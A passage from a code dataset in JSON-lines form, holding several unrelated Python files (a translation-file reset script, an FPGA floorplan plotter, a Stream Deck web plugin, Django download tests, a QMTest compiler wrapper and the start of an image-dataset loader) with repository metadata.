"line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 63, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 65, "usage_type": "call"}, {"api_name": "twisted.internet.defer.returnValue", "line_number": 82, "usage_type": "call"}, {"api_name": "twisted.internet.defer.inlineCallbacks", "line_number": 32, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 91, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 91, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 92, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 93, "usage_type": "argument"}, {"api_name": "twisted.python.log.err", "line_number": 93, "usage_type": "attribute"}, {"api_name": "twisted.python.log", "line_number": 93, "usage_type": "name"}, {"api_name": "twisted.internet.reactor.run", "line_number": 95, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 95, "usage_type": "name"}]} {"seq_id": "25224067248", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport codecs\nfrom collections import OrderedDict\nimport fnmatch\nimport json\nimport os\nimport sys\n\n# error counter\ncounterr = 0\n\n# Need the json path\nif len(sys.argv) < 2:\n dir = \"json\"\nelse:\n dir = sys.argv[1]\n\n# collect all the JSON files\njson_files = [\n os.path.join(dirpath, f)\n for dirpath, dirnames, files in os.walk(dir)\n for f in fnmatch.filter(files, '*.txt')\n]\n\nfor files in json_files:\n update = False\n f = os.path.splitext(os.path.basename(files))[0]\n with codecs.open(files, mode='r', encoding='utf-8') as json_file:\n print(\"Opening {}\".format(files))\n djson = json.load(json_file, object_pairs_hook=OrderedDict)\n for entry in djson:\n for data in entry:\n if data.startswith('tr_'):\n continue\n elif data.startswith('jp_'):\n continue\n elif data == 'title_id':\n continue\n elif data.endswith('_id'):\n entry[data] = 0\n update = True\n elif entry[data] != \"\":\n entry[data] = None\n update = True\n\n if (update):\n print(\"Updating {}\".format(files))\n with codecs.open(files, mode='w+', encoding='utf-8') as json_file:\n json.dump(\n djson, json_file, ensure_ascii=False,\n indent=\"\\t\", sort_keys=False)\n json_file.write(\"\\n\")\n\nif counterr > 0:\n sys.exit(\"Issues found\")\n", "repo_name": "PolCPP/PSO2es-Translation", "sub_path": "_tools/reset.py", "file_name": "reset.py", "file_ext": "py", "file_size_in_byte": 1552, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 22, "usage_type": "call"}, {"api_name": "fnmatch.filter", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 28, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 29, "usage_type": "call"}, {"api_name": "json.load", "line_number": 31, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 31, "usage_type": "name"}, {"api_name": "codecs.open", "line_number": 49, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 50, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 56, "usage_type": "call"}]} {"seq_id": "10960619502", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom math import sqrt\nimport sys\n\n\ndef fpga_plot(casename):\n filename_arch = '../benchmarks/' + casename + '.arch'\n filename_fp = '../outputs/' + casename + '.floorplan'\n fa = open(filename_arch, 'r')\n line = fa.readline()\n line = line.split()\n r, c, s, d = int(line[0]), int(line[1]), int(line[2]), int(line[3])\n fig = plt.figure(figsize=(20, 20))\n ax = fig.add_subplot(111)\n\n for i in range(s, c, d):\n for j in range(0, r, 3):\n mux = plt.Rectangle((i, j), 1, 3, edgecolor='white',\n facecolor='lightblue', fill=True, linewidth=2)\n ax.add_patch(mux)\n\n fp = open(filename_fp, 'r')\n for line in fp.readlines():\n line = line.split()\n if len(line) == 1:\n break\n name, x, y, w, h = int(line[0]), int(line[1]), int(\n line[2]), int(line[3]), int(line[4])\n module = plt.Rectangle((x, y), w, h, edgecolor='grey',\n facecolor='pink', fill=True, linewidth=2, alpha=0.8)\n ax.add_patch(module)\n ax.text(x, y+1, \"M\"+line[0], fontsize=10)\n fp.close()\n\n fixedline = plt.Rectangle((0, 0), c, r, edgecolor='red',\n facecolor='green', fill=False, linewidth=2, linestyle='dashed')\n ax.add_patch(fixedline)\n ax.text(0, -5, \"Fixed-outline(W, H): (\" +\n str(c)+\", \"+str(r)+\")\", fontsize=20)\n\n plt.plot(range(r), alpha=0)\n plt.axis('off')\n plt.savefig('../outputs/'+casename + '.png')\n print(casename + '.png '+'is saved.')\n plt.show()\n\n\nif __name__ == '__main__':\n casename = sys.argv[1]\n fpga_plot(casename)\n", "repo_name": "WilsonHUNG-web/FPGA_Design_Automation", "sub_path": "python/figure.py", "file_name": "figure.py", "file_ext": "py", "file_size_in_byte": 1694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 50, "usage_type": "attribute"}]} {"seq_id": "13054948498", "text": "import requests\nimport logging\nimport jq\nfrom deckster.common.core import update_key_image, update_label_display\n\ndef main(deck, key, pressed):\n logger = logging.getLogger(\"deckster\")\n args = key.args\n url = args[\"url\"]\n if \"json_data\" in args:\n json_data = args[\"json_data\"]\n else:\n json_data = None\n if \"headers\" in args:\n headers = args[\"headers\"]\n else:\n headers = None\n\n try:\n logger.debug(f\"Trying GET request for {url} with parameters: {json_data} and headers: {headers}.\")\n res = requests.get(url, params = json_data, headers = headers)\n except Exception as e:\n logger.error(f\"Request to {url} failed: {e}\")\n\n if not res.status_code in args[\"status_codes\"]:\n logger.error(f\"Status code returned {res.status_code} not in expected codes.\")\n return\n\n d = jq.compile(args[\"json_parse\"]).input(res.json()).first()\n logger.info(f\"Parsed result: '{d}' from {url}\")\n if \"send_to_display\" in key.args or \"send_to_label\" in key.args:\n to_label = \"send_to_label\" in key.args\n logger.info(f\"Sending GET result to {'label' if to_label else 'display'} for key {key.key}.\")\n if to_label:\n key.label = str(d)\n else:\n key.display = str(d)\n update_label_display(key, True if \"send_to_label\" in key.args else False)\n update_key_image(deck, key, pressed)\n", "repo_name": "Gabisonfire/deckster", "sub_path": "deckster/plugins/builtins/web/get.py", "file_name": "get.py", "file_ext": "py", "file_size_in_byte": 1442, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "jq.compile", "line_number": 29, "usage_type": "call"}, {"api_name": "deckster.common.core.update_label_display", "line_number": 38, "usage_type": "call"}, {"api_name": "deckster.common.core.update_key_image", "line_number": 39, "usage_type": "call"}]} {"seq_id": "36131315341", "text": "import os\nimport pytest\nfrom moto import mock_s3\n\nimport boto3\nfrom graphql_relay import to_global_id\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.http.response import HttpResponse\nfrom django.core.files import File\nfrom django_s3_storage.storage import S3Storage\n\nfrom creator.studies.models import Membership\nfrom creator.data_reviews.factories import DataReviewFactory\nfrom creator.ingest_runs.factories import ValidationResultsetFactory\n\nUser = get_user_model()\n\n\n@pytest.mark.parametrize(\n \"user_group,allowed\",\n [\n (\"Administrators\", True),\n (\"Services\", False),\n (\"Developers\", True),\n (\"Investigators\", True),\n (\"Bioinformatics\", True),\n (None, False),\n ],\n)\ndef test_local_download_and_delete(\n clients,\n db,\n mocker,\n data_review,\n user_group,\n allowed,\n):\n \"\"\"\n Test download of validation report and results files\n Test download after local file is deleted\n \"\"\"\n mock_resp = mocker.patch(\"creator.ingest_runs.views.HttpResponse\")\n mock_resp.return_value = HttpResponse(open(\"tests/data/data.csv\"))\n\n if user_group:\n user = User.objects.filter(groups__name=user_group).first()\n Membership(collaborator=user, study=data_review.study).save()\n\n # Upload file and save validation resultset\n file_field = data_review.validation_resultset.report_file\n file_field.save(\"data.csv\", File(open(\"tests/data/data.csv\")))\n\n # Download file\n client = clients.get(user_group)\n download_url = data_review.validation_resultset.report_path\n resp = client.get(download_url)\n\n if allowed:\n assert resp.status_code == 200\n assert resp.get(\"Content-Disposition\") == (\n f\"attachment; filename*=UTF-8''\"\n f\"{file_field.name.split('/')[-1]}\"\n )\n assert resp.content == b\"aaa,bbb,ccc\\nddd,eee,fff\\n\"\n # Delete file from storage system\n file_field.storage.delete(file_field.name)\n\n # Try to download\n resp = client.get(download_url)\n assert resp.status_code == 404\n assert b\"file does not exist\" in resp.content\n else:\n resp.status_code == 401\n\n\n@mock_s3\ndef test_s3_download_and_delete(\n clients, db, mocker, tmp_uploads_s3, settings, data_review\n):\n \"\"\"\n Test s3 download of validation report and results files\n Test download after s3 file is deleted\n \"\"\"\n mock_resp = mocker.patch(\"creator.ingest_runs.views.HttpResponse\")\n mock_resp.return_value = HttpResponse(open(\"tests/data/data.csv\"))\n\n # Upload file\n settings.DEFAULT_FILE_STORAGE = \"django_s3_storage.storage.S3Storage\"\n file_field = data_review.validation_resultset.report_file\n tmp_uploads_s3(bucket_name=data_review.study.bucket)\n file_field.storage = S3Storage(aws_s3_bucket_name=data_review.study.bucket)\n file_field.save(\"data.csv\", File(open(\"tests/data/data.csv\")))\n assert file_field.storage.exists(file_field.name)\n\n # Download file\n client = clients.get(\"Administrators\")\n download_url = data_review.validation_resultset.report_path\n resp = client.get(download_url)\n\n resp.status_code == 200\n assert resp.get(\"Content-Disposition\") == (\n f\"attachment; filename*=UTF-8''\" f\"{file_field.name.split('/')[-1]}\"\n )\n assert resp.content == b\"aaa,bbb,ccc\\nddd,eee,fff\\n\"\n # Delete file from storage system\n file_field.storage.delete(file_field.name)\n\n # Try to download\n resp = client.get(download_url)\n assert resp.status_code == 404\n assert b\"file does not exist\" in resp.content\n\n\ndef test_no_validation_result(clients, db, data_review):\n \"\"\"\n Test download failures\n\n Data review not found\n Data review validation results don't exist\n \"\"\"\n client = clients.get(\"Administrators\")\n\n # Data review not found\n resp = client.get(\"/download/data_review/foo/validation/report\")\n assert resp.status_code == 404\n assert b\"No data review exists\" in resp.content\n\n # Data review validation result set doesn't exist yet\n dr = DataReviewFactory()\n download_urls = [\n f\"/download/data_review/{dr.kf_id}/validation/{ft}\"\n for ft in [\"report\", \"results\"]\n ]\n for url in download_urls:\n resp = client.get(url)\n assert resp.status_code == 404\n assert b\"Validation results not yet available\" in resp.content\n\n\ndef test_file_not_found(clients, db, mocker, tmpdir, data_review):\n \"\"\"\n Test validation report/results files have not been uploaded\n \"\"\"\n client = clients.get(\"Administrators\")\n\n for ft in [\"report\", \"results\"]:\n # Validation result set has no file uploaded yet\n download_url = (\n f\"/download/data_review/{data_review.kf_id}/validation/{ft}\"\n )\n resp = client.get(download_url)\n assert resp.status_code == 404\n assert b\"file does not exist\" in resp.content\n", "repo_name": "kids-first/kf-api-study-creator", "sub_path": "tests/ingest_runs/test_validation_result_downloads.py", "file_name": "test_validation_result_downloads.py", "file_ext": "py", "file_size_in_byte": 4918, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 17, "usage_type": "call"}, {"api_name": "django.http.response.HttpResponse", "line_number": 44, "usage_type": "call"}, {"api_name": "creator.studies.models.Membership", "line_number": 48, "usage_type": "call"}, {"api_name": "django.core.files.File", "line_number": 52, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 20, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.http.response.HttpResponse", "line_number": 86, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_FILE_STORAGE", "line_number": 89, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 89, "usage_type": "name"}, {"api_name": "django_s3_storage.storage.S3Storage", "line_number": 92, "usage_type": "call"}, {"api_name": "django.core.files.File", "line_number": 93, "usage_type": "call"}, {"api_name": "moto.mock_s3", "line_number": 77, "usage_type": "name"}, {"api_name": "creator.data_reviews.factories.DataReviewFactory", "line_number": 130, "usage_type": "call"}]} {"seq_id": "36824907538", "text": "from qm.executable import *\nimport os\nimport os.path\nimport qm\nimport StringIO\nimport re\nimport sys\nif sys.platform != \"win32\":\n import resource\n\n########################################################################\n# Classes\n########################################################################\n\nclass CompilerExecutable(RedirectedExecutable):\n \"\"\"A 'CompilerExecutable' is a 'Compiler' that is being run.\"\"\"\n\n def _InitializeChild(self):\n \"\"\"Initialize the child process.\n\n After 'fork' is called this method is invoked to give the\n child a chance to initialize itself. '_InitializeParent' will\n already have been called in the parent process.\"\"\"\n\n # Disable compiler core dumps.\n if sys.platform != \"win32\":\n resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n # Do whatever the base class version would otherwise do.\n RedirectedExecutable._InitializeChild(self)\n\n\n def _StdinPipe(self):\n \"\"\"Return a pipe to which to redirect the standard input.\n\n returns -- A pipe, or 'None' if the standard input should be\n closed in the child.\"\"\"\n\n # The compiler should not need the standard input.\n return None\n\n\n def _StderrPipe(self):\n \"\"\"Return a pipe to which to redirect the standard input.\n\n returns -- A pipe, or 'None'. If 'None' is returned, but\n '_StdoutPipe' returns a pipe, then the standard error and\n standard output will both be redirected to that pipe. However,\n if '_StdoutPipe' also returns 'None', then the standard error\n will be closed in the child.\"\"\"\n\n # The standard output and standard error are combined.\n return None\n\n\n\nclass Compiler:\n \"\"\"A 'Compiler' compiles and links source files.\"\"\"\n\n MODE_PREPROCESS = 'preprocess'\n \"\"\"Preprocess the source files, but do not compile them.\"\"\"\n \n MODE_COMPILE = 'compile'\n \"\"\"Compile the source files, but do not assemble them.\"\"\"\n \n MODE_ASSEMBLE = 'assemble'\n \"\"\"Compile the source files, but do not link them.\"\"\"\n\n MODE_LINK = 'link'\n \"\"\"Compile and link the source files.\"\"\"\n \n modes = [ MODE_COMPILE, MODE_ASSEMBLE, MODE_LINK, MODE_PREPROCESS ]\n \"\"\"The available compilation modes.\"\"\"\n\n def __init__(self, path, options=None, ldflags=None):\n \"\"\"Construct a new 'Compiler'.\n\n 'path' -- A string giving the location of the compiler\n executable.\n\n 'options' -- A list of strings indicating options to the\n compiler, or 'None' if there are no options.\n\n 'ldflags' -- A list of strings indicating ld flags to the\n compiler, or 'None' if there are no flags.\"\"\"\n\n self._path = path\n self.SetOptions(options or [])\n self.SetLDFlags(ldflags or [])\n \n\n def Compile(self, mode, files, dir, options = [], ldflags = [],\n output = None, timeout = -1):\n \"\"\"Compile the 'files'.\n \n 'mode' -- The compilation mode (one of the 'Compiler.modes')\n that should be used to compile the 'files'.\n\n 'files' -- A sequence of strings giving the names of source\n files (including, in general, assembly files, object files,\n and libraries) that should be compiled.\n\n 'dir' -- The directory in which to run the compiler.\n \n 'options' -- A sequence of strings indicating additional\n options that should be provided to the compiler.\n\n 'ldflags' -- A sequence of strings indicating additional\n linker flags that should be provided to the compiler, if\n linking is done.\n\n 'output' -- The name of the file should be created by the\n compilation. If 'None', the compiler will use a default\n value.\n\n 'timeout' -- The maximum number of seconds the compiler is\n permitted to run. If 'timeout' is -1, the compiler is\n permitted to run forever.\n\n returns -- A tuple '(status, output)'. The 'status' is the\n exit status returned by the compiler, as indicated by\n 'waitpid'. The 'output' is a string containing the standard\n outpt and standard errror generated by the compiler.\"\"\"\n\n # Get the command to use.\n command = self.GetCompilationCommand(mode, files, options,\n ldflags, output)\n # Invoke the compiler.\n return self.ExecuteCommand(dir, command, timeout)\n \n\n def ExecuteCommand(self, dir, command, timeout = -1):\n \"\"\"Execute 'command' in 'dir'.\n\n 'dir' -- The directory in which to execute the command.\n \n 'command' -- A sequence of strings, as returned by\n 'GetCompilationCommand'.\n\n 'timeout' -- The maximum number of seconds the compiler is\n permitted to run. If 'timeout' is -1, the compiler is\n permitted to run forever.\n\n returns -- A tuple '(status, output)'. The 'status' is the\n exit status returned by the compiler, as indicated by\n 'waitpid'. The 'output' is a string containing the standard\n output and standard errror generated by the compiler.\"\"\"\n\n # Invoke the compiler.\n executable = CompilerExecutable(timeout)\n status = executable.Run(command, dir = dir)\n # Return all of the information.\n return (status, executable.stdout)\n\n \n def GetCompilationCommand(self, mode, files, options=[],\n ldflags = [], output=None):\n \"\"\"Return the appropriate command for compiling 'files'.\n\n 'mode' -- The compilation mode (one of the 'Compiler.modes')\n that should be used to compile the 'files'.\n\n 'files' -- A sequence of strings giving the names of source\n files (including, in general, assembly files, object files,\n and libraries) that should be compiled.\n\n 'options' -- A sequence of strings indicating additional\n options that should be provided to the compiler.\n\n 'ldflags' -- A sequence of strings indicating additional\n linker flags that should be provided to the compiler, if\n linking is done.\n\n 'output' -- The name of the file should be created by the\n compilation. If 'None', the compiler will use a default\n value. (In some cases there may be multiple outputs. For\n example, when generating multiple object files from multiple\n source files, the compiler will create a variety of objects.)\n\n returns -- A sequence of strings indicating the arguments,\n including 'argv[0]', for the compilation command.\"\"\"\n\n # Start with the path to the compiler.\n command = [self.GetPath()]\n # Add switches indicating the compilation mode, if appropriate.\n command += self._GetModeSwitches(mode)\n # Add the options that should be used with every compilation.\n command += self._options\n # Add the options that apply to this compilation.\n command += options\n # Set the output file.\n if output:\n command += [\"-o\", output]\n # Add the input files.\n command += files\n if mode == Compiler.MODE_LINK:\n command += ldflags\n command += self.GetLDFlags()\n\n return command\n \n\n def ParseOutput(self, output, ignore_regexps = ()):\n \"\"\"Turn the 'output' into a sqeuence of 'Diagnostic's.\n\n 'output' -- A string containing the compiler's output.\n\n 'ignore_regexps' -- A sequence of regular expressions. If a\n diagnostic message matches one of these regular expressions,\n it will be ignored.\n\n returns -- A list of 'Diagnostic's corresponding to the\n messages indicated in 'output', in the order that they were\n emitted.\"\"\"\n\n raise NotImplementedError\n \n \n def GetPath(self):\n \"\"\"Return the location of the executable.\n\n returns -- A string giving the location of the executable.\n This location is the one that was specified as the 'path'\n argument to '__init__'.\"\"\"\n \n return self._path\n\n\n def GetOptions(self):\n \"\"\"Return the list of compilation options.\n\n returns -- A list of strings giving the compilation options\n specified when the 'Compiler' was constructed.\"\"\"\n\n return self._options\n\n\n def SetOptions(self, options):\n \"\"\"Reset the list of compiler options.\n \n 'options' -- A list of strings indicating options to the\n compiler, or 'None' if there are no options.\"\"\"\n\n self._options = options\n\n \n def GetLDFlags(self):\n \"\"\"Return the list of link options.\n\n returns -- A list of strings giving the link options\n specified when the 'Compiler' was constructed.\"\"\"\n\n return self._ldflags\n\n\n def SetLDFlags(self, ldflags):\n \"\"\"Reset the list of link options.\n \n 'ldflags' -- A list of strings indicating options to the\n linker, or 'None' if there are no flags.\"\"\"\n\n self._ldflags = ldflags\n\n\n def GetExecutableExtension(self):\n \"\"\"Return the extension for executables.\n\n returns -- The extension (including leading '.', if\n applicable) for executable files created by this compiler.\"\"\"\n\n if sys.platform == \"win32\":\n return \".exe\"\n else:\n return \"\"\n\n \n def GetObjectExtension(self):\n \"\"\"Return the extension for object files.\n\n returns -- The extension (including leading '.', if\n applicable) for object files created by this compiler.\"\"\"\n\n if sys.platform == \"win32\":\n return \".obj\"\n else:\n return \".o\"\n \n \n def _GetModeSwitches(self, mode):\n \"\"\"Return the compilation switches for the compilation 'mode'.\n\n 'mode' -- The compilation mode (one of 'Compiler.modes').\n\n returns -- A sequence of strings indicating the switches that\n are used to indicate the compilation mode.\"\"\"\n\n if mode == self.MODE_PREPROCESS:\n return [\"-E\"]\n elif mode == self.MODE_COMPILE:\n return [\"-S\"]\n elif mode == self.MODE_ASSEMBLE:\n return [\"-c\"]\n \n # Other modes require no special option.\n return []\n \n \n\nclass SourcePosition:\n \"\"\"A 'SourcePosition' indicates a location in source code.\n\n A 'SourcePosition' consists of:\n\n - A file name. The file name is a string. It may be an absolute\n or relative path. If no file name is available, the file name\n is the empty string.\n\n - A line number, indexed from one. If no line number is\n available, the line number is zero.\n\n - A column number, indexed from one. If no column number is\n available, the column nubmer is zero.\"\"\"\n\n def __init__(self, file, line, column):\n \"\"\"Construct a new 'SourcePosition'.\n\n 'file' -- The file name.\n\n 'line' -- The line number, indexed from one. If no line numer\n is availble, use zero for this parameter.\n\n 'column' -- The column number, indexed from one. If no column\n number is available, use zero for this parameter.\"\"\"\n\n self.file = file\n self.line = line\n self.column = column\n\n \n def __str__(self):\n \"\"\"Return a textual representation of this 'SourcePosition'.\n\n returns -- A string representing this 'SourcePosition'\"\"\"\n\n result = ''\n if self.file:\n result = result + '\"%s\"' % os.path.split(self.file)[0]\n if self.line:\n if self.file:\n result = result + ', '\n result = result + 'line %d' % self.line\n if self.column:\n result = result + ': %d' % self.column\n\n return result\n\n \n \nclass Diagnostic:\n \"\"\"A 'Diagnostic' is a message issued by a compiler.\n\n Each 'Diagnostic' has the following attributes:\n\n - The source position that the compiler associates with the\n diagnostic.\n\n - The severity of the diagnostic.\n \n - The message issued by the compiler.\n\n A 'Diagnostic' may either be an actual diagnostic emitted by a\n compiler, or it may be the pattern for a diagnostic that might be\n emitted. In the latter case, the message is a regular expression\n indicating the message that should be emitted.\"\"\"\n\n def __init__(self, source_position, severity, message):\n \"\"\"Construct a new 'Diagnostic'.\n\n 'source_position' -- A 'SourcePosition' indicating where the\n diagnostic was issued. For an expected diagnostic, 'None'\n indicates that the position does not matter.\n\n 'severity' -- A string indicating the severity of the\n diagnostic. For an expected diagnostic, 'None' indicates\n that the severity does not matter.\n\n 'message' -- For an emitted diagnostic, a string indicating\n the message produced by the compiler. For an expected\n diagnostic, a string giving a regular expression indicating\n the message that might be emitted. For an expected\n diagnostic, 'None' indicates that the message does not\n matter.\"\"\"\n\n self.source_position = source_position\n self.severity = severity\n self.message = message\n\n\n def __str__(self):\n \"\"\"Return an informal representation of this 'Diagnostic'.\n\n returns -- A string representing this 'Diagnostic'.\"\"\"\n\n if self.source_position:\n source_position_string = str(self.source_position)\n else:\n source_position_string = \"\"\n\n if self.severity:\n severity_string = self.severity\n else:\n severity_string = \"\"\n\n if self.message:\n message_string = self.message\n else:\n message_string = \"\"\n\n return '%s: %s: %s' % (source_position_string,\n severity_string,\n message_string)\n\n\n########################################################################\n# Compilers\n########################################################################\n \nclass GCC(Compiler):\n \"\"\"A 'GCC' is a GNU Compiler Collection compiler.\"\"\"\n\n _severities = [ 'warning', 'error' ]\n \"\"\"The diagnostic severities generated by the compiler. Order\n matters; the order given here is the order that the\n '_severity_regexps' will be tried.\"\"\"\n\n _severity_regexps = {\n 'warning' :\n re.compile('^(?P[^:]*):((?P[^:]*):)?'\n '(\\s*(?P[0-9]+):)? '\n 'warning: (?P.*)$'),\n 'error':\n re.compile('^(?P[^:]*):((?P[^:]*):)?'\n '(\\s*(?P[0-9]+):)? '\n '(?P.*)$')\n }\n \"\"\"A map from severities to compiled regular expressions. If the\n regular expression matches a line in the compiler output, then that\n line indicates a diagnostic with the indicated severity.\"\"\"\n\n _internal_error_regexp = re.compile('Internal (compiler )?error')\n \"\"\"A compiled regular expression. When an error message is matched\n by this regular expression, the error message indicates an\n internal error in the compiler.\"\"\"\n\n MODE_PRECOMPILE = \"precompile\"\n \"\"\"Precompile a header file.\"\"\"\n\n modes = Compiler.modes + [MODE_PRECOMPILE]\n \n def ParseOutput(self, output, ignore_regexps = ()):\n \"\"\"Return the 'Diagnostic's indicated in the 'output'.\n\n 'output' -- A string giving the output from the compiler.\n\n 'ignore_regexps' -- A sequence of regular expressions. If a\n diagnostic message matches one of these regular expressions,\n it will be ignored.\n \n returns -- A list of 'Diagnostic's corresponding to the\n messages indicated in 'output', in the order that they were\n emitted.\"\"\"\n\n # Assume there were no diagnostics.\n diagnostics = []\n # Create a file object containing the 'output'.\n f = StringIO.StringIO(output)\n # Reall all of the output, line by line.\n for line in f.readlines():\n for severity in self._severities:\n match = self._severity_regexps[severity].match(line)\n # If it does not look like an error message, skip it.\n if not match:\n continue\n\n # Some error messages are ignored.\n ignore = 0\n for ignore_regexp in ignore_regexps:\n if ignore_regexp.match(match.group()):\n ignore = 1\n break\n if ignore:\n continue\n\n # An internal error is an error that indicates that\n # the compiler crashed.\n message = match.group('message')\n if (severity == 'error'\n and self._internal_error_regexp.search(message)):\n severity = 'internal_error'\n\n # If there is no line number, then we will not be\n # able to convert it to an integer.\n try:\n line_number = int(match.group('line'))\n except:\n line_number = 0\n\n # See if there is a column number.\n try:\n column_number = int(match.group('column'))\n except:\n column_number = 0\n\n source_position = SourcePosition(match.group('file'),\n line_number,\n column_number)\n diagnostic = Diagnostic(source_position,\n severity,\n message)\n diagnostics.append(diagnostic)\n break\n\n return diagnostics\n\n\n\nclass EDG(Compiler):\n \"\"\"An 'EDG' is an Edison Design Group compiler.\"\"\"\n\n __diagnostic_regexp = re.compile('^\"(?P.*)\", line (?P.*): '\n '(?P.*): (?P.*)$')\n \n def ParseOutput(self, output, ignore_regexps = ()):\n \"\"\"Return the 'Diagnostic's indicated in the 'output'.\n\n 'output' -- A string giving the output from the compiler.\n\n 'ignore_regexps' -- A sequence of regular expressions. If a\n diagnostic message matches one of these regular expressions,\n it will be ignored.\n \n returns -- A list of 'Diagnostic's corresponding to the\n messages indicated in 'output', in the order that they were\n emitted.\"\"\"\n\n # Assume there were no diagnostics.\n diagnostics = []\n # Create a file object containing the 'output'.\n f = StringIO.StringIO(output)\n # Reall all of the output, line by line.\n for line in f.readlines():\n match = self.__diagnostic_regexp.match(line)\n if match:\n source_position = SourcePosition(match.group('file'),\n int(match.group('line')),\n 0)\n diagnostic = Diagnostic(source_position,\n match.group('severity'),\n match.group('message'))\n diagnostics.append(diagnostic)\n\n\n return diagnostics\n", "repo_name": "MentorEmbedded/qmtest", "sub_path": "qm/test/classes/compiler.py", "file_name": "compiler.py", "file_ext": "py", "file_size_in_byte": 19542, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.platform", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 26, "usage_type": "attribute"}, {"api_name": "resource.setrlimit", "line_number": 27, "usage_type": "call"}, {"api_name": "resource.RLIMIT_CORE", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 270, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 282, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 346, "usage_type": "call"}, {"api_name": "os.path", "line_number": 346, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 437, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 441, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 449, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 475, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 529, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 548, "usage_type": "call"}]} {"seq_id": "24273071643", "text": "import os\nimport six\nimport imageio\nfrom PIL import Image\nimport numpy as np\n\nfrom .images import ImagesDataset\nfrom . import datasets_root\nfrom . import util\nfrom .utils import nputil\nfrom .utils import imutil\n\n\ntry:\n # Python 2\n from itertools import izip\nexcept ImportError:\n # Python 3\n izip = zip\n\nfrom tensorflow.contrib.slim.nets import inception, vgg\n\nclass coco_animals(ImagesDataset):\n def __init__(self):\n ImagesDataset.__init__(self)\n self.dataset_name='coco-animals'\n self.source_url='http://cs231n.stanford.edu/'\n self.source_files=['coco-animals.zip']\n self.dataset_home=os.path.join(datasets_root,self.dataset_name)\n self.height=None\n self.width=None\n self.depth=None\n\n self.x_layout = imutil.LAYOUT_NCHW\n self.x_layout_file = imutil.LAYOUT_NCHW\n\n #self.x_shape = 'NCHW' ## other alternates are NHW and NHCW\n self.n_classes = 8\n\n def load_data(self,force=False, shuffle=True, x_is_images=False):\n self.dataset_home=os.path.join(datasets_root,self.dataset_name)\n\n self.downloaded_files=util.download_dataset(source_url=self.source_url,\n source_files=self.source_files,\n dest_dir = self.dataset_home,\n force=force,\n extract=True)\n\n # the archive contains the name of the coco-animals folder, hence this temporary fix for now\n self.dataset_home=os.path.join(self.dataset_home,self.dataset_name)\n# print('Extracting ',self.downloaded_files[0])\n ilabels = os.listdir(os.path.join(self.dataset_home,'train'))\n\n label2id = 